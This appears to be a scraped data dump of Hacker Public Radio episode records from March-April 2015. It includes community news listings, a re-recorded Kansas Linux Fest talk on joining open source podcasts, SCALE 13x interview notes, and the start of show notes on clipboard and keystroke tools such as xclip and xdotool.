                                                            1724Thu2015-03-12Vim Hints 002Dave Morriss
                                                            1725Fri2015-03-1349 - LibreOffice Calc - Creating a Template with StylesAhuka
                                                            1726Mon2015-03-1615 Excuses not to Record a show for HPRKnightwise
                                                            1727Tue2015-03-17Basic MuttFrank Bell
                                                            1728Wed2015-03-18Requested Topic: Favourite Browser ExtensionsFin
                                                            1729Thu2015-03-19Shield's Up - Wood Stove Heat Shield ProjectDavid Whitman
                                                            1730Fri2015-03-205150 Shades of Beer 0005 River City Brewing Company RevisitedFiftyOneFifty
                                                            1731Mon2015-03-23Upgrading an old laptopswift110
                                                            1732Tue2015-03-24Renovating another Public-Domain Counterpoint TextbookJon Kulp
                                                            1733Wed2015-03-25LinuxLugCast Episode-003 OuttakesKevin Wisher
                                                            1734Thu2015-03-26Vim Hints 003Dave Morriss
                                                            1735Fri2015-03-27Free tutorials for teachersAhuka
                                                            1736Mon2015-03-30How I run my small business using LinuxMr. Young
                                                            1737Tue2015-03-31Five Steps to VimFrank Bell
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            \nThe main threads this month were:\n

                                                              \n
                                                            1. From: sigflup synasloble <pantsbutt@...>
                                                              \n Date: 2015-03-01 21:00:10 -0600
                                                              \n Subject: logo
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/775
                                                              \n Messages: 2

                                                            2. \n
                                                            3. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-03-02 23:29:57 -0600
                                                              \n Subject: Is anyone attending LibrePlanet? If not,\tI think KLF is our next event.
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/777
                                                              \n Messages: 1

                                                            4. \n
                                                            5. From: Mike Ray <mike@...>
                                                              \n Date: 2015-03-03 13:59:57 UTC
                                                              \n Subject: Fear and Lothian?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/778
                                                              \n Messages: 3

                                                            6. \n
                                                            7. From: Frank Bell <frankwbell@...>
                                                              \n Date: 2015-03-05 15:07:44 -0500
                                                              \n Subject: Show Synopis
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/780
                                                              \n Messages: 2

                                                            8. \n
                                                            9. From: Patrick Dailey <pdailey03@...>
                                                              \n Date: 2015-03-10 23:07:29 -0400
                                                              \n Subject: Next HPR_AudioBookClub
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/783
                                                              \n Messages: 6

                                                            10. \n
                                                            11. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-03-11 23:50:04 -0500
                                                              \n Subject: HPR banner for KLF
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/784
                                                              \n Messages: 1

                                                            12. \n
                                                            13. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-03-15 12:19:58 +0100
                                                              \n Subject: Change to the calendar page
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/785
                                                              \n Messages: 1

                                                            14. \n
                                                            15. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-03-18 09:02:44 +0100
                                                              \n Subject: Call for shows
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/786
                                                              \n Messages: 4

                                                            16. \n
                                                            17. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-03-18 09:07:09 +0100
                                                              \n Subject: Fwd: Podcast Interview
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/787
                                                              \n Messages: 1

                                                            18. \n
                                                            19. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-03-19 01:29:30 -0500
                                                              \n Subject: Bad e-mail ediquette
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/790
                                                              \n Messages: 4

                                                            20. \n
                                                            21. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-03-30 09:57:14 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-04-04T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/800
                                                              \n Messages: 1

                                                            22. \n
                                                            \nTotal messages this month: 26\n

                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 40 comments:

                                                            \n
                                                              \n
                                                            • hpr1178\n(2013-02-06) \"Interviews with Laura Creighton and Armin Rigo\"\nby Seetee.\n
                                                              • Comment 1:\nTomas on 2015-03-29:\n\"Broken links\"
                                                              • \n

                                                            • \n
                                                            • hpr1430\n(2014-01-24) \"thebestofyoutube.com download script\"\nby Ken Fallon.\n
                                                              • Comment 8:\nIan on 2015-03-02:\"[no title]\"
                                                              • Comment 9:\nKen Fallon on 2015-03-05:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1496\n(2014-04-28) \"wiki on the raspberry pi\"\nby MrX.\n
                                                              • Comment 2:\nJPRedonnet on 2015-03-04:\n\"Ciwiki\"
                                                              • \n

                                                            • \n
                                                            • hpr1690\n(2015-01-23) \"Arduino 101 Breadboard\"\nby klaatu.\n
                                                              • Comment 3:\nMirwi on 2015-03-19:\n\"Great show!\"
                                                              • \n

                                                            • \n
                                                            • hpr1702\n(2015-02-10) \"FOSDEM 2015 Part 5 of 5\"\nby Ken Fallon.\n
                                                              • Comment 2:\nAlison Chaiken on 2015-03-04:\n\"Thanks for these segments\"
                                                              • \n

                                                            • \n
                                                            • hpr1712\n(2015-02-24) \"What's in my Crate\"\nby Mike Ray.\n
                                                              • Comment 1:\nBeeza on 2015-03-02:\n\"Follow-up Episode Please\"
                                                              • Comment 2:\nMike Ray on 2015-03-02:\n\"Follow up to "what's in my crate"\"
                                                              • \n

                                                            • \n
                                                            • hpr1714\n(2015-02-26) \"Vim Hints 001\"\nby Dave Morriss.\n
                                                              • Comment 1:\n0xf10e on 2015-03-26:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2015-03-26:\n\"Stripped down Vim\"
                                                              • Comment 3:\n0xf10e on 2015-03-29:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1716\n(2015-03-02) \"HPR Community News for February 2015\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nMike Ray on 2015-03-02:\n\"'Parcel of Rogues' and access tech\"
                                                              • Comment 2:\nDave Morriss on 2015-03-02:\n\"Robert Burns\"
                                                              • Comment 3:\nMike Ray on 2015-03-02:\n\"Also in the parcel\"
                                                              • Comment 4:\nDave Morriss on 2015-03-02:\n\"Fear and Lothian\"
                                                              • \n

                                                            • \n
                                                            • hpr1718\n(2015-03-04) \"What's In My Pickup Toolbox\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\nMike Ray on 2015-03-03:\n\"Great podcast\"
                                                              • \n

                                                            • \n
                                                            • hpr1720\n(2015-03-06) \"15 Certificate Issues and Solutions\"\nby Ahuka.\n
                                                              • Comment 1:\nEllusionSK on 2015-03-28:\n\"Great show\"
                                                              • \n

                                                            • \n
                                                            • hpr1721\n(2015-03-09) \"Cross-compilers Part 2\"\nby Mike Ray.\n
                                                              • Comment 1:\nARMed on 2015-03-08:\n\"Part 1\"
                                                              • Comment 2:\nPhalax on 2015-03-16:\n\"Good job\"
                                                              • \n

                                                            • \n
                                                            • hpr1722\n(2015-03-10) \"Kansas Linux Fest 2015, March 21-22, Lawrence KS\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\nmike dupont on 2015-03-09:\n\"https://kansaslinuxfest.us\"
                                                              • Comment 2:\nFiftyOneFifty on 2015-03-10:\n\"I'm a big dummy and got the URL wrong\"
                                                              • \n

                                                            • \n
                                                            • hpr1723\n(2015-03-11) \"Success With Students\"\nby Kevie.\n
                                                              • Comment 1:\nKen Fallon on 2015-03-10:\n\"I listen to all shows\"
                                                              • Comment 2:\nDave Morriss on 2015-03-12:\n\"Excellent show\"
                                                              • \n

                                                            • \n
                                                            • hpr1724\n(2015-03-12) \"Vim Hints 002\"\nby Dave Morriss.\n
                                                              • Comment 1:\nPhalax on 2015-03-16:\n\"Great series\"
                                                              • Comment 2:\nDave Morriss on 2015-03-16:\n\"Thanks Phalax\"
                                                              • Comment 3:\njohanv on 2015-03-17:\n\"You always learn new things\"
                                                              • Comment 4:\nDave Morriss on 2015-03-17:\n\"Thanks johanv\"
                                                              • \n

                                                            • \n
                                                            • hpr1726\n(2015-03-16) \"15 Excuses not to Record a show for HPR\"\nby Knightwise.\n
                                                              • Comment 1:\njohanv on 2015-03-17:\n\"LOL!\"
                                                              • Comment 2:\nanonymous on 2015-03-21:\n\"good points\"
                                                              • \n

                                                            • \n
                                                            • hpr1727\n(2015-03-17) \"Basic Mutt\"\nby Frank Bell.\n
                                                              • Comment 1:\narcher72 on 2015-03-17:\"[no title]\"
                                                              • Comment 2:\nJonas on 2015-03-19:\"[no title]\"
                                                              • Comment 3:\nrstackhouse on 2015-03-21:\n\"Automating alias file creation\"
                                                              • \n

                                                            • \n
                                                            • hpr1728\n(2015-03-18) \"Requested Topic: Favourite Browser Extensions\"\nby Fin.\n
                                                              • Comment 1:\nzloster on 2015-03-18:\n\"Other useful browser extensions for Firefox\"
                                                              • \n

                                                            • \n
                                                            • hpr1729\n(2015-03-19) \"Shield's Up - Wood Stove Heat Shield Project\"\nby David Whitman.\n
                                                              • Comment 1:\nJon Kulp on 2015-03-19:\n\"Beautiful!\"
                                                              • \n

                                                            • \n
                                                            • hpr1730\n(2015-03-20) \"5150 Shades of Beer 0005 River City Brewing Company Revisited\"\nby FiftyOneFifty.\n
                                                              • Comment 1:\nMike Ray on 2015-03-21:\n\"Arch Linux on RPI\"
                                                              • \n

                                                            • \n
                                                            • hpr1732\n(2015-03-24) \"Renovating another Public-Domain Counterpoint Textbook\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDaniel Worth on 2015-03-24:\n\"Best Show This Year.\"
                                                              • \n

                                                            • \n
                                                            • hpr1736\n(2015-03-30) \"How I run my small business using Linux\"\nby Mr. Young.\n
                                                              • Comment 1:\nJonathan Kulp on 2015-03-30:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1737\n(2015-03-31) \"Five Steps to Vim\"\nby Frank Bell.\n
                                                              • Comment 1:\nzloster on 2015-03-31:\n\"Small problem\"
                                                              • Comment 2:\nDave Morriss on 2015-03-31:\n\"Re: Small problem\"
                                                              • Comment 3:\nDave Morriss on 2015-03-31:\n\"Great show!\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1742,"date":"2015-04-07","title":"How to Get Yourself On an Open Source Podcast - Presentation for Kansas Linux Fest, 22 March 2015","duration":1786,"summary":"Re-recording of a presentation for KLF that went unrecorded","notes":"

                                                            \nHowdy folks, this is 5150 for Hacker Public Radio. What you are about to hear is a presentation titled \"How to Get Yourself on an Open Source Podcast\" that I delivered at Kansas Linux Fest on 22 March 2015. Since it was not recorded (I was told the SD card was full), and there has been interest expressed by my fellow podcasters, I thought it might be worth re-recording. I am afraid Mike Dupont is not satisfied with any of the video from KLF 2015, this may be the only talk from that event you get to hear. However, show notes are extensive, https://lanyrd.com/2015/klf15/schedule/ All I can tell you is, three out of the four audience members seemed to enjoy my presentation. I shall deliver the rest of this podcast as if you gentile listeners were my live audience.\n

                                                            \n

                                                            \nA. Howdy folks, my name is Don Grier. I'm an IT consultant and farmer from South Central Kansas. I am also a podcaster. You might recognize my voice from such podcasts as Hacker Public Radio, the Kernel Panic Oggcast, or Linux LUG Cast, where I use the handle, FiftyOneFifty.\n

                                                            \n

                                                            \nI. When fellow Hacker Public Radio host Mike Dupont told me KLF would be a reality, I struggled to find a topic that I knew well enough to give a talk about. It was almost in jest that I said I could talk about \"How to Get Yourself on an Open Source Podcast\". Actually, since that was as far as my proposal went, I was shocked and honored to find myself on the same roster with so many other speakers with impressive credentials and technical topics.\n

                                                            \n

                                                            \nII. This afternoon, I hope not only to chronicle my personal history with Linux and open source related podcasts, but to show you why I believe podcasting can be as an important part of giving back to the community as contributing code, or documentation, or cash. Linux podcasts bind the community by providing education, both as basic as Linux Reality or as specific as GNU World Order. Podcasts announce new innovations, and tell us of Free and Open Source software adoption and opposition in corporations and governments. Podcasts herald community events like this one, and provide a little humor at the end of a long day.\n

                                                            \n

                                                            \nB. Some of you may wonder why I'm using old school technology to organize my notes at a high tech conference. At this point, 5150 holds up several stapled sheets of paper in large print. The plain and simple truth is that I can't read my phone or tablet with my glasses on; and I'm already using bifocals. It just seems every time I get new glasses, the lower lenses work for about two weeks, then I have to take then off to see the phone. But this last time I figured I'd outsmart my the system and just order a single focus lenses. I was still congratulating myself on my thriftiness when I put my new glasses on, sat down at the computer, and realized I couldn't read the keyboard.\n

                                                            \n

                                                            \nC. Before I talk about my history as a podcaster, I think I should tell you my history with Linux.\n

                                                            \n

                                                            \nI. My first experience with Linux was with a boxed set of Mandrake 7.2 around 2002. I always maintain at least a second running system in the house, in case the primary machine coughs up a hairball. I'd always been a geek alternative OS's, and I wanted a tertiary machine on my network that wouldn't be affected by the propagation of Windows viruses. \n

                                                            \n

                                                            \na. There wasn't much flash to Linux apps in those days, I recall I was not impressed by whichever browser shipped with Mandrake. I don't recall what I knew about installing additional applications from repositories, but in any case I was still on dialup. \n

                                                            \n

                                                            \nb. The Pentium I that I installed Mandrake on had both a modem and an Ethernet card. The installer asked which one I used to reach the Internet, and only set up one of the two devices. This annoyed me as I'd planned to use the Linux box as a gateway to see if it would save a few CPU cycles on the P4 I used as a gaming machine back then. I really wouldn't have know where to go on the Internet for help, and I expect help would not be as forth coming 13 years ago.\n

                                                            \n

                                                            \nII. My next experience with Linux came around 2007. The school I consulted for had several Windows 98 machines not compatible with the software they wanted to run. Even though the machines were P4's, we determined the cost of XP plus memory upgrades could better be applied to new machines. As a result, I was able to bring several of the machines home. Over time, I boosted their memory with used sticks from eBay, and even the odd faster processor. As a noob, I installed Feisty Fawn on a system out in the machine shed, and spent a lot of that winter hacking on that box when I should have been overhauling tractors. Just as I was delving into NDIS wrappers, Gusty brought support for my Gigabyte wireless card, which combined with a double fork isolating power box, gave me reasonable certainty that the box out in the shed was safe from lightning storms. About six months later, I rescued up a refugee from a major meteorological event and set it up in my house running Mint. For the first time I didn't have to leave the house to get my Linux on.\n

                                                            \n

                                                            \nD. Just before I set up that first Linux box, we finally got broadband out to the farm, and I'd discovered podcasts. I figured there must be Linux podcasts to go along the general tech and computing podcasts I followed, as well as a fondly remembered weekly SciFi revue show that started out as a Sunday afternoon show on a Wichita radio station, was canceled twice, and re-emerged as a semi weekly podcast, only to disappear forever a couple months after I started listening again, but not before I download all the episodes I missed.\n

                                                            \n

                                                            \nI. In my initial search for Linux related content, all I came up with were four drunk off their ass Scots discussing the minutia of Ruby on Rails. While I liked the format, I lacked the commitment to become a Ruby programmer so I could understand the show.\n

                                                            \n

                                                            \nII. A few days later I came across \"The Techie Geek\". Russ Wenner mixed tutorials with reviews of new applications and upcoming events. Better yet, he introduced me to a world of other Linux podcasts. Through \"The Techie Geek\", I learned of the irreverent banter of the \"Linux Outlaws\", the subdued studiousness of what was then called \"The Bad Apples\", the contained chaos of the \"Linux Cranks\", the classroom like atmosphere of the \"Linux Basement\" during Chad's Drupal tutorial period, tech hints and movie reviews delivered at the speed of 75 miles per hour by Dave Yates of \"Lotta Linux Links\", the auditory dissonance of \"The Linux Link Tech Show\", and the constant daily variety of \"Hacker Public Radio\".\n

                                                            \n

                                                            \nE. In 2010, I made my first contribution to Hacker Public Radio. The great thing about HPR is that there is no vetting process, we only ask your audio be intelligible (not polished, not even good, we just have to be able to understand you) and that the topic be of interest to geeks. If you consider yourself a geek, any topic that interests you is welcome. There is no maximum or minimum runtime, just get the show uploaded on-time. While topics tend concern open source, this is not a requirement. I believe my second HPR concerned how to migrate Windows wireless connection profiles between systems. I'd spent a few hours figuring it out one day for a customer and I thought I should consolidate what I learned in one place. HPR provides a podcasting platform at no cost to the podcaster. It serves as both a venue for broadcasters without the resources to host their own site or without the time to commit to a regular schedule. It can also serve as an incubator for hosts trying to find their own audience. It's never been easier to become a podcaster with HPR. I would start with an e-mail introduction (as a courtesy) to admin@HackerPublicRadio.org. Next, record you audio. When you have a file ready to upload, select an open slot in the calendar page and follow the instructions, be prepared to paste in your shownotes. \n

                                                            \n

                                                            \nF. I also credit HPR for getting me my first invite to participate in my first podcast with multiple hosts. Once a month, Hacker Public Radio records a Community News podcast, recorded on the first Saturday afternoon after the end of the previous month (exact times and server details are published in the newsletter). All HPR hosts, and indeed listeners are invited to participate, it is just asked that you have listened to most the the past month's shows so you can participate in the discussion. \n

                                                            \n

                                                            \nI. Like most multi-host audio podcast's, HPR uses Mumble to record shows, including the annual New Year's Eve show, which has dozens of participants. There is a Mumble tutorial on LinuxLUGCast.com to help you get started.\n

                                                            \n

                                                            \nII. I started to take part in Hacker Public Radio's Community News a few months after recording my first podcast. I did it because I wanted to take a greater part in HPR, not because I considered it an audition, but it is a good way to show other people that you can politely and intelligently participate in a group discussion. (Actually, I have a tendency to wander off into tangents and unintentionally dominate the topic, something I struggle with to this day).\n

                                                            \n

                                                            \nIII. Another way to join in a round table discussion on HPR is to participate in the HPR Book Club. Once a month, we take an audio book that is freely available on the Internet and share our opinions. Recording schedules and the next book to be reviewed are available in the HPR newsletter.\n

                                                            \n

                                                            \nG. I believe sharing one or more Community News with Patrick Dailey (aka pokey) influenced him to invite me into the cast of Dev Random. The semi weekly Dev Random recorded of the Saturdays Kernel Panic didn't. While we sometimes accidentally talked about tech and open source, we always saved the most disturbing things we'd seen on the Internet in the previous two weeks for discussion on the show, things that could not be discussed on other podcasts. Despite rumors to the contrary, dev random is not dead, only resting, and shall one day rise again to shock and disgust new generations of listeners.\n

                                                            \n

                                                            \nH. Sometimes you just have to be in the right place at the right time. I won't insult the Kernel Panic Oggcast by calling it a sister show to Dev Random, it just recorded on opposite Saturdays and had some of the same cast members in common. Anyway, I'd been participating in the forum for a while, suggesting topics from FOSS stories I'd come across in social media during the week. I was idling in #oggcastplanet on Freenode when Peter Cross asked for people from the channel to participate in the show on a day only a couple of the regular cast showed up. Dev Random used the same Mumble server, so I used my existing credentials to take Peter up on his offer, and for better or worse I've been a KPO cast member ever since. \n

                                                            \n

                                                            \nI. While we are on the topic, having a presence on Freenode IRC chat is a great way to get your name or handle known in the podcasting world. Many podcasts have their own channel set up that listeners participate in during live streaming podcasts. Saying something helpful, (or more likely smart alecky) might get you mentioned on the show and make you familiar to the shows audience. I've seen several individuals move from regular forum or chat participants to the hosts of their own show or contributors to HPR. From my own experience, after spending several weeks as silent participants in Podbrewers, listening to the stream and commenting in the chat, RedDwarf and myself were invited to bring our own beers and join the cast. \n

                                                            \n

                                                            \nI. While many podcasts still have their own IRC channels, other than providing a conduit between the hosts, they are most active during live broadcasts. Between shows, many of the podcasters I listen to gravitate to hanging around in Freenode's #oggcastplanet , since podcasters typically have a chat client open during work and leisure hours. In fact, at KPO we use #oggcastplanet as our primary communications channel during live streaming. \n

                                                            \n

                                                            \nII. I still recall the day monsterb and Peter64 asked me about the origin of my handle, given it's similarity to their colleague, threethirty. I'd heard both on podcasts I followed, and I felt like I was talking to rock stars.\n

                                                            \n

                                                            \nIII. Now that I am a podcaster in my own right, with a presence in #oggcastplanet, I try to make a point to say hello when I see an unfamiliar handle in the channel. I expect the spambots consider me the nicest guy in IRC. \n

                                                            \n

                                                            \nIV. As it happens, IRC was also responsible for my involvement in the Linux LUG Cast. LLC was conceived after the re-imaginging and final demise of Steve McLaughlin's project, \"Linux Basix\". Kevin Wisher, chattr, and honkeymaggo wanted to do a show along the same lines while incorporating the spirit of the unrecorded online LUG that always preceded it on the mumble server. I was brought along by the simple expediency of never having closed the #LinuxBasix channel in my chat client. We have been going for a little more than a year and have attracted a following, but frankly we have not found the listener participation we were looking for. This was meant to be a true online Linux Users Group for people couldn't travel to a LUG. So far, it's usually been the same four of five guys talking about what Linux projects succeed, what failed, and what we we're going to try next. I've learned a lot in the past year, and I expect the listeners have as well, but we are always hoping to get more live participation. Rural areas like the midwest are our target audience. The details of the Mumble connection are posted at LinuxLUGCast.com, we always monitor the Freenode.org IRC channel #linuxlugcast while recording, and the Feedback link is posted on the website.\n

                                                            \n

                                                            \nThank you for your time and attention this afternoon, especially considering the caliber of talks running in the other two channels. I can be contacted at FiftyOneFifty@LinuxBasement.com . Are there any questions?\n

                                                            ","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"#KLF15,KLF,Kansas Linux Fest","version":0,"downloads":0,"valid":1}, {"id":1743,"date":"2015-04-08","title":"Scale 13x Part 1 of 6","duration":4079,"summary":"Lord Drachenblut at Scale 13x. Today Docker, Fedora Activity Day, Matthew Miller Fedora Project Lead","notes":"

                                                            Introduction

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Lord Drachenblut introduces himself

                                                            \n

                                                            \n
                                                            \nWebsite: https://www.gofundme.com/gysc0o\n

                                                            \n
                                                            \nGreetings everyone. I'm Matthew ”Lord Drachenblut\" Williams. I'm currently working on gathering the fund to attend the Southern California Linux Expo aka SCALE. As many of you already know I have spent the last year struggling against esophageal cancer. I am nearing a point which I can start traveling and attending conferences again. My goal is to raise the funds so that in February of 2015 I can attend Scale. I am also working on a talk that I hope to give at SCALE. My sincerest thanks to the community that has been there for me during my recovery and to those that will help me in this endeavor. Should I raise more funds than needed to attend SCALE my goal will be to submit my talk to other conferences and to give my talk at those as well.\n
                                                            \n\n

                                                            Docker

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            Listen to the interview with Jérôme Petazzoni.

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.docker.com/
                                                            \nLinkedIn: https://www.linkedin.com/profile/view?id=18390427
                                                            \nTwitter: https://twitter.com/jpetazzo\n

                                                            \n
                                                            \nDocker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud.\n
                                                            \n\n

                                                            Fedora Activity Day

                                                            \n
                                                            \nThe Fedora Activity Day (FAD) is a regional event (either one-day or a multi-day) that allows Fedora contributors to gather together in order to work on specific tasks related to the Fedora Project.\n
                                                            \n\n

                                                            Fedora interview with Matthew Miller

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://getfedora.org/en/\n

                                                            \n
                                                            \n

                                                            The Fedora Project is a partnership of free software community members from around the globe. The Fedora Project builds open source software communities and produces a Linux distribution called \"Fedora.\" The Fedora Project's mission is to lead the advancement of free and open source software and content as a collaborative community. \n

                                                            \n\n","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scale 13x,Docker,Fedora,Matthew Miller","version":0,"downloads":0,"valid":1}, {"id":1744,"date":"2015-04-09","title":"Scale 13x Part 2 of 6","duration":3770,"summary":" Postgres SQL in Space, Bryan Lunduke, and OpenSuSe Build Service","notes":"

                                                            Josh Berkus Postgres SQL in Space

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://www.postgresql.org/
                                                            \n

                                                            \n
                                                            \nJosh Berkus has been a member of the PostgreSQL Core Team since 2003 and has been working as a database consultant since 1995. Josh's work experience includes 8 years of independant consulting on database applications, primarily building applications for the legal and HR industries. He was also head of Sun Microsystem's PosgtreSQL support staff for 2 years and helped launch BI startup Greenplum.\n
                                                            \n\n

                                                            Bryan Lunduke

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            \n\"logo\"\n
                                                            \nWebsite: https://lunduke.com/
                                                            \nLinkedIn: https://www.linkedin.com/in/bryanlunduke
                                                            \nTwitter: https://twitter.com/bryanlunduke\n

                                                            \n
                                                            \n
                                                            \n\n

                                                            OpenSuSe Build Service with Markus Feilner and Lance Albertson

                                                            \n

                                                            \n\"logo\"\n

                                                            \n

                                                            Markus Feilne

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n

                                                            \nWebsite: https://plus.google.com/+MarkusFeilner/about
                                                            \nLinkedIn: https://www.linkedin.com/in/markusfeilner
                                                            \n

                                                            \n
                                                            \nOpen mind. Vigil. Proud citizen and honorable diplomat of the Conch republic. Minister of the Universal Life Church. Jedi knight. Owner of Lunar property. Linux and open source human, occasional and highly provocative Apple troll (#iTroll)\n
                                                            \n

                                                            Lance Albertson

                                                            \n

                                                            \n\"headshot\"
                                                            \n

                                                            \n\n

                                                            \nWebsite: https://osuosl.org/about/people/lance-albertson
                                                            \n

                                                            \n
                                                            \nDirector | Cat Herder
                                                            \nLance became OSL director in early 2013. He has managed all of the hosting activities that the OSL provides for more than 160 high-profile open source projects since joining the lab as lead systems administrator and architect in 2007. Lance’s involvement in the open source community began in 2003, when he became a developer and package maintainer with Gentoo Linux. Prior to joining the OSL, Lance was a UNIX Administrator for the Enterprise Server Technologies group at Kansas State University. In his free time he helps organize Beaver BarCamp and plays trumpet in local jazz group The Infallible Collective.\n
                                                            \nLance can be reached at lance-at-osuosl-dot-org\n
                                                            \n\n\n","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scale 13x,postgres sql,Bryan Lunduke,OpenSuSe","version":0,"downloads":0,"valid":1}, {"id":1745,"date":"2015-04-10","title":"51 - LibreOffice Impress - Overview and Guidance","duration":673,"summary":"Introduction to making Presentations, with some good advice.","notes":"

                                                            \nWe begin the discussion of Impress, the Presentation Graphics (i.e. slide deck) component of Libre Office. In this episode we look at some of the basic issues around presentations that you need to consider *before* you open up the software. Constructing a good presentation is not easy, and there are some good principles that the masters of the art can impart. WE discuss some of these here and provide links to good resources. \nFor more go to https://www.ahuka.com/?page_id=1087\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations","version":0,"downloads":0,"valid":1}, {"id":1746,"date":"2015-04-13","title":"Scale 13x Part 3 of 6","duration":3200,"summary":"Eight interviews from Scale 13x","notes":"","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scale 13x,lpi,one course source,elementary OS,opensource robotics,syslogng,think penguin,kodi","version":0,"downloads":0,"valid":1}, {"id":1747,"date":"2015-04-14","title":"Scale 13x Part 4 of 6","duration":3150,"summary":"Five interviews from Scale x13","notes":"","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scale 13x,perl,Open stack,Girls in tech LA,snowdrift.coop,SaltStack","version":0,"downloads":0,"valid":1}, {"id":1748,"date":"2015-04-15","title":"Scale 13x Part 5 of 6","duration":4106,"summary":"Four interviews from Scalex13","notes":"","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scale 13x,LinHES,robots,Michael Hall,Ubuntu,ovirt project","version":0,"downloads":0,"valid":1}, {"id":1749,"date":"2015-04-16","title":"Scale 13x Part 6 of 6","duration":1425,"summary":"Justin King browser based emulated computer","notes":"

                                                            \nI am 13 years old and live in Santa Barbara. I have participated in the Open Source community for several years. My dad has been on the SCALE leadership team for a long time, and he introduced me to programming. My favorite programming languages are HTML and Javascript with Enyo because I like creating websites and webOS apps. I also program in Shell and some Python, and like making short animations using Blender. I have recently made the world's first emulator for the WITCH, the first currently working fixed-point decimal computer. I recently earned my Technician Amateur Radio license and enjoy attending radio club meetings. Besides geeking, I like to swim, act, and do fun events with the Boy Scouts.\n

                                                            ","hostid":24,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"scale 13x,young geeks,programming,amateur radio","version":0,"downloads":0,"valid":1}, {"id":1750,"date":"2015-04-17","title":"xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers","duration":1258,"summary":"3 command-line tools that save me hundreds of keystrokes a day.","notes":"

                                                            Basic commands

                                                            \n\n\n

                                                            Type the words \"foo bar\" with xvkbd:

                                                            \n\t
                                                            \n\t\txvkbd -xsendevent -secure -text 'foo bar' \n\t
                                                            \n\n

                                                            Types out the entire contents of the file \"foobar.txt\" with xvkbd:

                                                            \n\t
                                                            \n\t\txvkbd -xsendevent -secure -file "foobar.txt"\n\t
                                                            \n\n

                                                            Send text to the clipboard:

                                                            \n\n\t
                                                            \n\t\txclip -i\n\t
                                                            \n\n

                                                            Send clipboard contents to standard output:

                                                            \n\n\t
                                                            \n\t\txclip -o\n\t
                                                            \n\n

                                                            Do virtual Ctrl+C key combination with xdotool:

                                                            \n\n\t
                                                            \n\t\txdotool key Control+c\n\t
                                                            \n\n

                                                            Save this complicated command as an environment variable—then the variable \"$KEYPRESS\" expands to this command.

                                                            \n\n\t
                                                            \n\t\texport KEYPRESS="xvkbd -xsendevent -secure -text"\n\t
                                                            \n\n

                                                            Examples

                                                            \n\n

                                                            With virtual keystrokes and CLI access to the clipboard, you're limited only by your imagination and scripting ability. Here are some examples of how I use them, both for the manipulation of text and for navigation. The words in bold-face are the voice commands I use to launch the written commands.

                                                            \n\n

                                                            Capitalize this. Copies selected text to the clipboard, pipes it through sed and back into the clipboard, then types fixed text back into my document:

                                                            \n\n
                                                            \nxdotool key Control+c && xclip -o \\
                                                            | sed 's/\\(.*\\)/\\L\\1/' \\
                                                            | sed -r 's/\\<./\\U&/g' \\
                                                            | xclip -i && $KEYPRESS "$(xclip -o)"
